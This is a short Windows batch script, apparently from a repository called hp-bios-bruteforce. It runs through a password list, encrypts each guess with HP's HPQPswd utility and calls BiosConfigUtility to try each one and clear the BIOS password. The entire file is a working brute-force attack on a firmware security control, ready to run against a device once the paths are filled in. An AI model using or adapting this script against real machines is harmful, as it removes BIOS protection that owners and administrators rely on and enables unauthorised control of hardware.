hp-bios-bruteforce/bruteforce-pwdlist.bat

30 lines
964 B
Batchfile

@echo off
setlocal
REM Define where the BIOS-Util files are
set HPQPswdPath=C:\Path\To\HPQPswd.exe
set BiosConfigUtilityPath=C:\Path\To\BiosConfigUtility.exe
REM Define the path used to save the password file and where the password list is
set EncryptedPasswordFile=C:\Path\To\EncryptedPassword.bin
set PasswordListFile=C:\Path\To\passwordlist.txt
REM Iterate over each password in the list
for /F "tokens=*" %%p in (%PasswordListFile%) do (
echo Trying password: %%p
REM Create the encrypted password file for the current password
"%HPQPswdPath%" /p"%%p" /f"%EncryptedPasswordFile%"
REM Attempt to reset the BIOS password using the current password
"%BiosConfigUtilityPath%" /cpwdfile:"%EncryptedPasswordFile%" /npwdfile:""
REM Optionally check for success and break the loop if succeeded
REM This would depend on the output of BiosConfigUtility.exe indicating success
)
REM Cleanup
del "%EncryptedPasswordFile%"
endlocal